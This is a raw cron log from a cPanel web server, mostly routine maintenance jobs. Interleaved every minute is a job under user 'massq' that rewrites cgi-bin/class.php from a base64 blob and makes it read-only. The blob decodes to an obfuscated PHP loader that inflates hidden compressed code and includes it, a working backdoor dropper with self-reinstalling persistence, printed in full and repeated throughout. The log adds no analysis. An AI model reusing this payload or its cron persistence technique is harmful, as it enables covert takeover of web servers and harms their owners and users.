Sep  6 03:44:01 server CROND[9097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:44:01 server CROND[9098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:45:01 server CROND[9476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:45:01 server CROND[9477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:45:01 server CROND[9480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:45:01 server CROND[9484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:45:01 server CROND[9486]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:45:01 server CROND[9485]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:45:01 server CROND[9487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:46:01 server CROND[10360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:46:01 server CROND[10362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:46:01 server CROND[10363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:47:01 server CROND[10736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:47:01 server CROND[10737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:47:01 server CROND[10738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:48:01 server CROND[11109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:48:01 server CROND[11110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:48:01 server CROND[11111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:49:01 server CROND[11575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:49:01 server CROND[11577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:49:01 server CROND[11579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:50:01 server CROND[11953]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:50:01 server CROND[11954]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 03:50:01 server CROND[11959]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 03:50:01 server CROND[11961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:50:01 server CROND[11963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:50:01 server CROND[11964]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:50:01 server CROND[11962]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:50:01 server CROND[11966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:50:01 server CROND[11967]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:51:01 server CROND[12821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:51:01 server CROND[12822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:51:01 server CROND[12823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:52:01 server CROND[13189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:52:01 server CROND[13190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:52:01 server CROND[13191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:53:01 server CROND[13562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:53:01 server CROND[13563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:53:01 server CROND[13564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:54:01 server CROND[13986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:54:01 server CROND[13987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:54:01 server CROND[13988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:55:01 server CROND[14464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:55:01 server CROND[14471]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:55:01 server CROND[14472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:55:01 server CROND[14473]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:55:01 server CROND[14470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:55:01 server CROND[14475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:55:01 server CROND[14474]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
